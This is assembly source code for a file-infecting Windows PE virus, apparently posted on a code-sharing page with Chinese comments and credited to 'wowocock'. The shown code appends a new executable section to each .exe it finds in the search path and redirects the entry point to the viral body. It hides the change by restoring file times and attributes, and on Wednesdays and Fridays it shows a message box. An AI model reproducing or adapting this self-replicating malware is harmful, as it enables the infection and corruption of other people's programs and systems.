📄 immunity.asm
字号:
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*********************************************************************
inc [ebx].FileHeader.NumberOfSections ;节数目+1
mov esi,edi ;edi指向新节
sub esi,28h ;esi指向上一个节
assume edi:ptr IMAGE_SECTION_HEADER
assume esi:ptr IMAGE_SECTION_HEADER
mov [edi].Name1,41h ;随便为新节命名,使之不等于0
push [ebx].OptionalHeader.SizeOfImage ;原文件映像装入内存后的总尺寸,对齐SectionAlignment.
pop [edi].VirtualAddress ;新节在内存中的地址
mov eax,offset vend-offset vstart
mov [edi].Misc.VirtualSize,eax ;新节的大小(未对齐)
mov ecx,[ebx].OptionalHeader.FileAlignment
xor edx,edx
div ecx
test edx,edx
jz NoChange1
inc eax
NoChange1:
mul ecx
mov [edi].SizeOfRawData,eax ;新节对齐FileAligment后的大小
mov eax,fsize[ebp]
mov [edi].PointerToRawData,eax ;本节在文件中的位置
mov [edi].Characteristics,0E0000020h ;可读可写可执行
;*****************************************************************************************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;*****************************************************************************************
mov eax,[edi].Misc.VirtualSize ;新节的大小(未对齐)
mov ecx,[ebx].OptionalHeader.SectionAlignment ;内存节对齐
xor edx,edx
div ecx
test edx,edx
jz NoChange2
inc eax
NoChange2:
mul ecx
add eax,[ebx].OptionalHeader.SizeOfImage;对齐后大小+原文件映像装入内存后的总尺寸,对齐SectionAlignment.
mov [ebx].OptionalHeader.SizeOfImage,eax ;更新后的文件映像装入内存后的总尺寸,对齐SectionAlignment.
mov eax,[edi].VirtualAddress ;新节在内存中的地址写入入口点
mov [ebx].OptionalHeader.AddressOfEntryPoint,eax
mov word ptr [ebx+1ah],'FB' ;写入感染标志
mov edi,pMapping[ebp]
add edi,fsize[ebp]
lea esi,vstart[ebp]
mov ecx,offset vend-offset vstart
cld
rep movsb ;将病毒代码写入映射的内存中(在原文件之后)
;*************************************************
;乾坤大挪移,将节表移到PE头的最后
;*************************************************
mov edi,[ebx].OptionalHeader.SizeOfHeaders
add edi,ebx
sub edi,pe_header_off[ebp];edi->文件中的第一个节
dec edi ;edi->PE头的最后一个字节
mov esi,ebx
add esi,18h ;PE HEADER(4)+FILEHEADER(14)
movzx eax,[ebx].FileHeader.SizeOfOptionalHeader
add esi,eax ;esi指向第1个节表
movzx ecx,[ebx].FileHeader.NumberOfSections
imul ecx,ecx,28h
add esi,ecx
dec esi ;esi->最后一个节的最后一个字节
std
rep movsb ;乾坤大挪移
sub edi,ebx
sub edi,18h
inc edi
mov word ptr[ebx].FileHeader.SizeOfOptionalHeader,di;更新可选头大小
;***************************************************************************
;退出前进行节空间填塞免疫,edi->First Section Table,ecx=NumberOfSections
;***************************************************************************
Infest:
mov edi,ebx
add edi,18h ;PE HEADER(4)+FILEHEADER(14)
movzx esi,[ebx].FileHeader.SizeOfOptionalHeader
add edi,esi ;edi指向第1个节表
movzx ecx,[ebx].FileHeader.NumberOfSections
SectionInfest:
assume edi:ptr IMAGE_SECTION_HEADER
mov eax,[edi].SizeOfRawData;文件对齐后节的大小
cmp eax,[edi].Misc.VirtualSize ;节的大小(未对齐)
jb NextSection
mov [edi].Misc.VirtualSize,eax
NextSection:
add edi,28h
loop SectionInfest
UnMap:
push pMapping[ebp]
call vUnMapViewOfFile[ebp]
CloseMap:
push hMapping[ebp]
call vCloseHandle [ebp]
Closefile:
lea eax, LastWriteTime[ebp]
push eax
lea eax, LastAccessTime[ebp]
push eax
lea eax, CreationTime[ebp]
push eax
push hFile[ebp]
call vSetFileTime[ebp]
CloseFile1:
push hFile[ebp]
call vCloseHandle [ebp]
mov eax,OldAttribute[ebp]
test eax,1 ;是否需要恢复文件属性(有写属性就不需要恢复了)
jz EndDir
push eax
lea eax,FindData[ebp].cFileName
push eax
call vSetFileAttributes[ebp] ;恢复原来文件属性
;--------------------------------
;目录结尾区
EndDir:
lea eax,FindData[ebp]
push eax
push hFind[ebp]
call vFindNextFile[ebp]
cmp eax,0
jnz GoOnFind
;查找下一个文件,然后继续感染,直到全感染全为止
;------------------------------------(上面的)--
FindEnds:
push hFind[ebp]
call vFindClose[ebp]
mov NowPathNo[ebp],4
;inc NowPathNo[ebp]
;inc NowPathNo[ebp] ;<< 多加了几个1
;inc NowPathNo[ebp] ;<<
;inc NowPathNo[ebp] ;<<
jmp FindStartT
;为了调试方便,在此只感染当前目录
;------------------------------------(上面的)--
AllFindEnd:
lea eax,SrcDir[ebp]
push eax
call vSetCurrentDirectory[ebp]
;恢复当前目录
;------------------------------------(上面的)--
;####[ 病毒发作区 ]########################;
lea eax,NowTimes[ebp]
push eax
call vGetSystemTime[ebp]
cmp NowTimes[ebp].wDayOfWeek,0003h
jz InTimes
cmp NowTimes[ebp].wDayOfWeek,0005h
jnz ExitTimes
;根据时间决定,每周星期三和星期五发作
;------------------------------------(上面的)--
;--- 发作代码 -------------------
InTimes:
;--------------------------------
push 0
lea eax,MyTitle[ebp]
push eax
lea eax,MyTalk[ebp]
push eax
push 0
call vMessageBox[ebp]
;显示一个提示窗口
;------------------------------------(上面的)--
ExitTimes:
;###########################################;
; 恢复寄存器,跳回原程序处
;------------------------------------------
pop fs:[0]
add esp,4
mov eax,des_base[ebp]
add eax,des_in[ebp]
pop esp
pop ebp
push eax
ret
;-------< 做好返回原程序的准备 >-----------
;;;;;;;;;;;;;;
;返回主程序
GetApiAddress proc AddressOfName:dword,ApiLength:byte
push ebx
push esi
push edi
call Tmp
Tmp:
pop edx
sub edx,offset Tmp
mov edi,vExportKernel[edx]
assume edi:ptr IMAGE_EXPORT_DIRECTORY
GetExportNameList:
mov ebx,[edi].AddressOfNames ;//得到输出函数名表
add ebx,vKernel32[edx] ;ebx->AddressOfNames(函数名字的指针地址).
xor eax,eax ;//函数序号计数
mov edx,vKernel32[edx] ;//暂存Kernel32模块句柄;edx->kernel32
push edi ;保存EDI
LoopFindApiStr:
add ebx,04
inc eax ;//增加函数计数
mov edi,dword ptr[ebx]
add edi,edx ;//得到一个Api函数名字符串.edi->函数名
StrGetProcAddress:
mov esi,AddressOfName ;//得到Api名字字符串
cmpsd;比较前4个字符是否相等
jnz short LoopFindApiStr ;eax=函数名的INDEX
xor ecx,ecx
mov cl, ApiLength
sub cl,4 ;//比较剩余的GetProcAddress串
cld
Goon:
cmpsb
jnz short LoopFindApiStr ;eax=函数名的INDEX
loop Goon
pop edi ;恢复EDI
mov esi,edx
mov ebx,[edi].AddressOfNameOrdinals
add ebx,esi ;//取函数序号地址列表,ebx->AddresssOfNameOrdinals
movzx ecx,word ptr [ebx+eax*2]
mov ebx,[edi].AddressOfFunctions
add ebx,esi ;//得到Kernel32函数地址列表
mov ebx,dword ptr[ebx+ecx*4]
add ebx,esi ;//计算GetProcAddress函数地址
mov eax,ebx ;eax=API函数地址,esi=Kernel32.dll hModule
pop edi
pop esi
pop ebx
ret
GetApiAddress endp
SEH PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
call Next
Next:
pop ebx
sub ebx,offset Next
assume edi:ptr CONTEXT
assume esi:ptr EXCEPTION_RECORD
mov esi,pExcept
mov edi,pContext
test dword ptr[esi+4],1 ;Exception flags
jnz @f
test dword ptr[esi+4],6
jnz @f
mov eax,OldEsp[ebx]
mov [edi].regEsp,eax ;恢复ESP
lea eax,ExitTimes[ebx]
mov [edi].regEip,eax ;
mov eax,0
ret
@@:
mov eax,1
ret
SEH ENDP
;--------------------------
; 函数调用地址
;--------------------------
vKernel32 dd 0
vExportKernel dd 0
vGetProcAddress dd 0
vGetModuleHandle dd 0
vLoadLibrary dd 0
vCreateFile dd 0
vGetFileSize dd 0
vCreateFileMapping dd 0
vMapViewOfFile dd 0
vUnMapViewOfFile dd 0
vCloseHandle dd 0
vGetCurrentDirectory dd 0
vGetWindowsDirectory dd 0
vGetSystemDirectory dd 0
vSetCurrentDirectory dd 0
vlstrcpy dd 0
vFindFirstFile dd 0
vFindNextFile dd 0
vFindClose dd 0
vGetSystemTime dd 0
vExitProcess dd 0
vGetFileAttributes dd 0
vSetFileAttributes dd 0
vGetFileTime dd 0
vSetFileTime dd 0
vMessageBox dd 0
bGetModuleHandle dd offset sGetModuleHandle
bLoadLibrary dd offset sLoadLibrary
bCreateFile dd offset sCreateFile
bGetFileSize dd offset sGetFileSize
bCreateFileMapping dd offset sCreateFileMapping
bMapViewOfFile dd offset sMapViewOfFile
bUnMapViewOfFile dd offset sUnMapViewOfFile
bCloseHandle dd offset sCloseHandle
bGetCurrentDirectory dd offset sGetCurrentDirectory
bGetWindowsDirectory dd offset sGetWindowsDirectory
bGetSystemDirectory dd offset sGetSystemDirectory
bSetCurrentDirectory dd offset sSetCurrentDirectory
blstrcpy dd offset slstrcpy
bFindFirstFile dd offset sFindFirstFile
bFindNextFile dd offset sFindNextFile
bFindClose dd offset sFindClose
bGetSystemTime dd offset sGetSystemTime
bExitProcess dd offset sExitProcess
bGetFileAttributes dd offset sGetFileAttributes
bSetFileAttributes dd offset sSetFileAttributes
bGetFileTime dd offset sGetFileTime
bSetFileTime dd offset sSetFileTime
dd 0
sGetModuleHandle db "GetModuleHandleA",0
sLoadLibrary db "LoadLibraryA",0
sCreateFile db "CreateFileA",0
sGetFileSize db "GetFileSize",0
sCreateFileMapping db "CreateFileMappingA",0
sMapViewOfFile db "MapViewOfFile",0
sUnMapViewOfFile db "UnmapViewOfFile",0
sCloseHandle db "CloseHandle",0
sGetCurrentDirectory db "GetCurrentDirectoryA",0
sGetWindowsDirectory db "GetWindowsDirectoryA",0
sGetSystemDirectory db "GetSystemDirectoryA",0
sSetCurrentDirectory db "SetCurrentDirectoryA",0
slstrcpy db "lstrcpy",0
sFindFirstFile db "FindFirstFileA",0
sFindNextFile db "FindNextFileA",0
sFindClose db "FindClose",0
sGetSystemTime db "GetSystemTime",0
sExitProcess db "ExitProcess",0
sGetFileAttributes db "GetFileAttributesA",0
sSetFileAttributes db "SetFileAttributesA",0
sGetFileTime db "GetFileTime",0
sSetFileTime db "SetFileTime",0
; 其它的略....需要用到API函数地址
;------------------------------------(上面的)--
ALIGN 4
OldEsp dd 0
MyTitle db "Written By wowocock!",0
MyTalk db "Pe Virus Immunologist",0
hFile dd 0
fsize dd 0
FileAlign dd 0
OldAttribute dd 0
hMapping dd 0
pMapping dd 0
pe_header_off dd 0 ;存储PE文件头相对文件的偏移量
NewSection_off dd 0 ;存储新节相对文件的偏移量
old_base dd 0
old_in dd 0
des_base dd 0
des_in dd 0
CreationTime FILETIME <> ;存储文件时间
LastAccessTime FILETIME <>
LastWriteTime FILETIME<>
;相关的变量定义
;------------------------------------(上面的)--
;-----------------------------
; 查找文件专用
FileFilter db "*.exe",0
FindData WIN32_FIND_DATA <>
hFind dd 0
NowPath db 256 dup (0)
NowPathNo db 0
SrcDir db 256 dup (0)
;-----------------------------
NowTimes SYSTEMTIME <>
;-----------------------------
vend:
Immunity ends
end vstart
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -